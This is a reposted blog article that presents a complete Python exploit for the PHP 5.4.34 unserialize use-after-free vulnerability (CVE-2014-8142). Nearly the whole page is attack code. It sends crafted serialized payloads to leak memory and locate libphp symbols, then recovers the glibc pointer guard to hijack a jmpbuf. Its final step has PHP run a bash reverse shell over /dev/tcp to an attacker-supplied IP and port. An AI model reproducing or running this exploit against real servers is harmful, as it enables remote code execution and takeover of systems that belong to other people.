>  기사  >  백엔드 개발  >  PHP 5.4.34 unserialize UAF exploit

PHP 5.4.34 unserialize UAF exploit

WBOY
WBOY원래의
2016-06-20 12:26:421293검색

之前在Sebug沙龙分享的PHP 5.4.34 unserialize UAF exploit,EXP放到博客来,还有那天的PPT:

PHP反序列化UAF漏洞的研究与Exp编写

EXP代码:

'''php 5.4.34cve-2014-8142php server script content for this vulnerability:<?php$data = base64_decode($_GET['data']);echo serialize(unserialize($data));?>'''  import reimport pdbimport sysimport urllibimport urllib2import base64import structimport urlparse  if __name__ == '__main__':    if len(sys.argv) == 5:        target = urlparse.urlunsplit(('http', sys.argv[1], sys.argv[2], '', ''))    else:        print "Usage: python " + sys.argv[0] + " [TargetIP] [URI] [Reverse IP] [Reverse Port]"        sys.exit() def get_resp(data):    data = base64.b64encode(data)    data = urllib.quote(data)    req = urllib2.Request(url=target + "?data=" + data)    u = urllib2.urlopen(req)    resp = u.read()    return resp def read_memory(addr, count):    #read_memory(0x8048000, 0x4)    #read_memory(134512640, 4)     data = 'O:8:"stdClass":4:{'    data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';    data += 's:3:"123";i:0;';    data += 'i:0;S:16:"' + struct.pack("I", addr) + struct.pack("I", count) + '\00\01\01\00\06\00\BB\BC";';    data += 'i:1;r:12;}';    #print data    resp = get_resp(data)    #print resp    start = resp.rfind("s:" + str(count) +  ":\"") + len("s:" + str(count) +  ":\"")    end = resp.rfind("\";}")    mem = resp[start:end]    return mem def format_to_hex(value):    return format(value, "#04x") def hex_to_dec(value):    return int(value, 16) def find_func_addr(function_name, strtab_section_addr, symtab_section_addr, libphp_base):    strtab_count = 0x1000    symtab_cont = 0x5000     func_dynstr_offset = 0    func_symtab_offset = 0     while True:        strtab_section = read_memory(strtab_section_addr, strtab_count)        pos = strtab_section.find("\x00" + function_name + "\x00")         if pos !=-1:            func_dynstr_offset = pos + 1            print "[+] Found " + function_name + " strtab offset is " + format_to_hex(func_dynstr_offset)            break         strtab_count = strtab_count + 0x1000     while True:        symtab_section = read_memory(symtab_section_addr, symtab_cont)         while symtab_section:            if struct.unpack("I", symtab_section[:4])[0] == func_dynstr_offset:                func_symtab_offset = struct.unpack("I", symtab_section[4:8])[0]                break            symtab_section = symtab_section[16:]         if func_symtab_offset:            break         symtab_cont = symtab_cont + 0x1000     print "[+] Found " + function_name + " symtab offset is " + format_to_hex(func_symtab_offset)    func_addr = libphp_base + func_symtab_offset;    print "[+] Found " + function_name + " addr at " + format_to_hex(func_addr)    return func_addr # Rotate left: 0b1001 --> 0b0011rol = lambda val, r_bits, max_bits: \    (val << r_bits%max_bits) & (2**max_bits-1) | \    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) # Rotate right: 0b1001 --> 0b1100ror = lambda val, r_bits, max_bits: \    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) print "[+] Determining endianess of system" data = 'O:8:"stdClass":4:{'data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}'data += 's:3:"123";i:0;'data += 'i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\BB\BC\CC";'data += 'i:1;r:12;}' resp = get_resp(data)m = re.findall("\:(\d*)\;\}", resp) if m:    if int(m[0]) == 256:        print "[+] System is little endian"    elif int(m[0]) == 65535:        print "[+] System is big endian" data = 'O:8:"stdClass":6:{'data += 's:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'data += 's:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'data += 's:3:"456";i:1;'data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:101;O:8:"stdclass":0:{}i:1;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:102;O:8:"stdclass":0:{}i:2;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:103;O:8:"stdclass":0:{}i:3;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:104;O:8:"stdclass":0:{}i:4;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:105;O:8:"stdclass":0:{}i:5;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:106;O:8:"stdclass":0:{}i:6;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:107;O:8:"stdclass":0:{}i:7;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:108;O:8:"stdclass":0:{}i:8;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:109;O:8:"stdclass":0:{}i:9;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";}'data += 's:3:"789";i:0;'data += 'i:1;r:56;}' resp = get_resp(data)start = resp.rfind(":\"") + 2end = resp.rfind("\";}")mem = resp[start:end]fmt = fmt = "%dI" % (len(mem) // 4)leak_heap_addr = list(struct.unpack(fmt, mem))index = 0 for i in leak_heap_addr:    if i == 0x5:        std_object_handlers_addr = format_to_hex(leak_heap_addr[index - 2])    index = index + 1 if std_object_handlers_addr:    print "[+] Found std_object_handlers_addr address to be " + std_object_handlers_addr print "[+] Leaking std_object_handlers"mem = read_memory(hex_to_dec(std_object_handlers_addr), 0x70)fmt = fmt = "%dI" % (len(mem) // 4)leak_heap_addr = list(struct.unpack(fmt, mem))std_object_handlers = [] for i in leak_heap_addr:    std_object_handlers.append(format_to_hex(i)) print "Retrieved std_object_handlers" + str(std_object_handlers)min_addr = min(i for i in std_object_handlersif hex_to_dec(i) > 0)print "[+] Optimized to " + min_addrprint "[+] Scanning for executable header"libphp_base = (hex_to_dec(min_addr) & ~0xfff) while True:    try:        mem = read_memory(libphp_base, 4)    except:        continue     if (mem == "\x7fELF"):        break     libphp_base -= 0x1000 print "[+] ELF header Found at " + format_to_hex(libphp_base)mem = read_memory(libphp_base, 0x1000)print "[+] Retrieving and parsing ELF header"program_header = mem[52:] while True:    if struct.unpack("I", program_header[:4])[0] == 2:        dynamic_section_addr =  libphp_base + struct.unpack("I", program_header[8:12])[0]        break     program_header = program_header[32:] print "[+] ELF dynamic section Found at " + format_to_hex(dynamic_section_addr)dynamic_section = read_memory(dynamic_section_addr, 0x118) while True:    if (struct.unpack("I", dynamic_section[:4])[0] == 5) and (struct.unpack("I", dynamic_section[8:12])[0] == 6):        strtab_section_addr =  struct.unpack("I", dynamic_section[4:8])[0]        symtab_section_addr =  struct.unpack("I", dynamic_section[12:16])[0]        break    dynamic_section = dynamic_section[8:] print "[+] ELF strtab section Found at " + format_to_hex(strtab_section_addr)print "[+] ELF symtab section Found at " + format_to_hex(symtab_section_addr)php_execute_script_addr =  find_func_addr("php_execute_script", strtab_section_addr, symtab_section_addr, libphp_base)zend_eval_string_addr =  find_func_addr("zend_eval_string", strtab_section_addr, symtab_section_addr, libphp_base)executor_globals_addr =  find_func_addr("executor_globals", strtab_section_addr, symtab_section_addr, libphp_base)jmpbuf_addr = struct.unpack("I", read_memory(executor_globals_addr + 288, 0x4))[0]print "[+] Found jmpbuf at " + format_to_hex(jmpbuf_addr)print "[+] Attempt to crack JMPBUF"mem = read_memory(jmpbuf_addr, 0x18)fmt = "%dI" % (len(mem)//4) jmp_buf = list(struct.unpack(fmt, mem))mem = read_memory(php_execute_script_addr, 0x100)fmt = "%dB" % (len(mem))mem_list = list(struct.unpack(fmt, mem)) count = 0set_jmp_ret_addr = 0 for i in mem_list:     if (i == 0xe8) and (mem_list[count+5] == 0x31) and (mem_list[count+7] == 0x85):        set_jmp_ret_addr =  php_execute_script_addr + count + 5        jmp_to_ret_addr = php_execute_script_addr + count + 15 + struct.unpack("I", mem[(count+11):(count+15)])[0]     count = count + 1 print "[+] Determined stored EIP value %s from pattern match"%format_to_hex(set_jmp_ret_addr)pointer_guard = ror(jmp_buf[5], 9, 32) ^ set_jmp_ret_addrprint "[+] Calculated pointer_guard value is %s"%format_to_hex(pointer_guard)unmangled_esp = ror(jmp_buf[4], 9, 32) ^ pointer_guardprint "[+] Unmangled stored ESP is %s"%format_to_hex(unmangled_esp)mem = read_memory(jmpbuf_addr-0x1000, 0x1000)print "[+] Checking memory infront of JMPBUF for overwriting possibilities" i = 0count = 0valid_addr = [] while True:    addr = jmpbuf_addr - 0x1000 + count    if (struct.unpack("B", mem[count:count+1])[0] == 0x30) and (struct.unpack("B", mem[count+1:count+2])[0] == struct.unpack("B", mem[count+2:count+3])[0] == struct.unpack("B", mem[count+3:count+4])[0] == 0):        valid_addr.append(addr)     i = i + 1    count = count + 1     if len(mem[i:]) < 4:        break if valid_addr:    print "[+] Found 0x30 at " + format_to_hex(valid_addr[0]) + " using it as overwrite trampoline"     addr1 = valid_addr[0]+8    count1 = 39    addr2 = valid_addr[0]+ 48    count2 = 111    addr3 = valid_addr[0]+ 160    count3 = 111    addr4 = valid_addr[0]+ 272    count4 = 111     php_code = "system(\"bash -c 'bash -i >& /dev/tcp/" + sys.argv[3] + "/" + sys.argv[4] + " 0>&1'\");\00"    old_cwd = struct.pack("I", jmpbuf_addr)    return_addr = struct.pack("I", jmp_to_ret_addr)    php_code_addr = struct.pack("I", jmpbuf_addr + 40)    retval_ptr = "\00" * 4    string_name = php_code_addr    ebx = struct.pack("I", jmp_buf[0])    esi = struct.pack("I", jmp_buf[1])    edi = struct.pack("I", jmp_buf[2])    ebp = struct.pack("I", jmp_buf[3])    esp = struct.pack("I", rol((jmpbuf_addr + 24) ^ pointer_guard, 9, 32))    eip = struct.pack("I", rol(zend_eval_string_addr ^ pointer_guard, 9, 32))    junk =  "A" * (127 - len(ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code))     data = 'O:8:"stdClass":17:{'    data += 'S:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'    data += 'S:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'    data += 'S:3:"456";i:1;'    data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:101;O:8:"stdclass":0:{}i:1;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:102;O:8:"stdclass":0:{}i:2;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:103;O:8:"stdclass":0:{}i:3;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:104;O:8:"stdclass":0:{}i:4;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:105;O:8:"stdclass":0:{}i:5;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:106;O:8:"stdclass":0:{}i:6;S:16:"' + struct.pack("I", addr4) + struct.pack("I", count4) + '\00\00\00\00\06\00\BB\BC";i:107;O:8:"stdclass":0:{}i:7;S:16:"' + struct.pack("I", addr3) + struct.pack("I", count3) + '\00\00\00\00\06\00\BB\BC";i:108;O:8:"stdclass":0:{}i:8;S:16:"' + struct.pack("I", addr2) + struct.pack("I", count2) + '\00\00\00\00\06\00\BB\BC";i:109;O:8:"stdclass":0:{}i:9;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";}'    data += 'S:3:"abc";r:53;'    data += 'S:3:"abc";i:1;'    data += 'S:3:"def";S:39:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x78\x00\00\00\01\00\00";'    data += 'S:3:"ghi";r:56;'    data += 'S:3:"ghi";i:1;'    data += 'S:3:"jkl";S:111:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB' + old_cwd + 'DDDD\x78\x00\00\00\01\00\00";'    data += 'S:3:"mno";r:59;'    data += 'S:3:"mno";i:1;'    data += 'S:3:"pqr";S:111:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x88\x00\00\00\01\00\00";'    data += 'S:3:"stu";r:62;'    data += 'S:3:"stu";i:1;'    data += 'S:3:"vwx";S:127:"' + ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code + junk + '";'    data += 'O:8:"DateTime":1:{s:10:"_date_time";s:25:"-001-11-30T00:00:00+01:00";}}'     print "[+] Returning into PHP... Spawning a shell to " + sys.argv[3] + " at port " + sys.argv[4]    resp = get_resp(data)

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.